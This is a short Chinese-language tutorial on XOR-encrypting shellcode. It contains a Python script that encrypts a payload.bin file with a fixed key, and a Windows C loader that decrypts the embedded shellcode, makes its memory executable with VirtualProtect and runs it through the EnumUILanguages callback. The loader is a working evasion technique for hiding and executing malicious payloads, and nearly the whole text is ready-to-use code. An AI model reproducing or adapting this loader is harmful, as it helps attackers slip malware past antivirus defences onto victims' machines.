XOR加密又称为异或加密,异或加密属于对称加密。在异或加密中,使用一个密钥(通常称为密钥流)与明文数据进行异或操作,生成加密后的密文。解密过程与加密过程相同,将密文与相同的密钥流进行异或操作,即可恢复原始明文数据
# 定义异或加密函数,接收原始shellcode和密钥作为输入
def xor_encrypt(shellcode, key):
encrypted_shellcode = bytearray()
key_len = len(key)
# 遍历shellcode中的每个字节
for i in range(len(shellcode)):
# 将当前字节与密钥中相应字节进行异或操作,然后添加到加密后的shellcode中
# 这段代码中的i % key_len操作用于确保在对shellcode进行异或加密时,密钥循环使用
encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
return encrypted_shellcode
def main():
# 填写你的shellcode
# buf = b""
#通过bin文件获取shellcode
with open("payload.bin","rb") as file:
buf = file.read()
shellcode = bytearray(buf)
# 定义密钥
key = bytearray(b'12henry1222345??6aa+-==@asd')
# 使用xor_encrypt函数加密shellcode
encrypted_shellcode = xor_encrypt(shellcode, key)
# 输出加密后的shellcode
print("Encrypted shellcode:")
encrypted_shellcode_string = ""
for byte in encrypted_shellcode:
encrypted_shellcode_string += ("\\x%02x"%byte)
print(encrypted_shellcode_string)
if __name__ == '__main__':
main()
#include <Windows.h>
#include<stdio.h>
int main() {
// 存放xor加密后的shellcode
char encryptedShellcode[] = "...";
// 定义解密所用的密钥
char key[] = "12henry1222345??6aa+-==@asd";
// 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
unsigned char shellcode[sizeof encryptedShellcode];
// 获取密钥的长度
int keylength = strlen(key);
// 遍历加密的shellcode,并使用异或操作进行解密,将结果存储在shellcode数组中
for (int i = 0; i < sizeof encryptedShellcode; i++) {
shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
printf("\\x%x", shellcode[i]);
}
// 获取解密后的shellcode的地址
char* addrShellcode = (char*)shellcode;
// 声明一个DWORD变量用于存储旧的内存保护属性
DWORD dwOldPro = 0;
// 更改解密后的shellcode所在内存区域的保护属性,允许执行、读、写
BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
// 使用EnumUILanguages函数执行解密后的shellcode
EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
}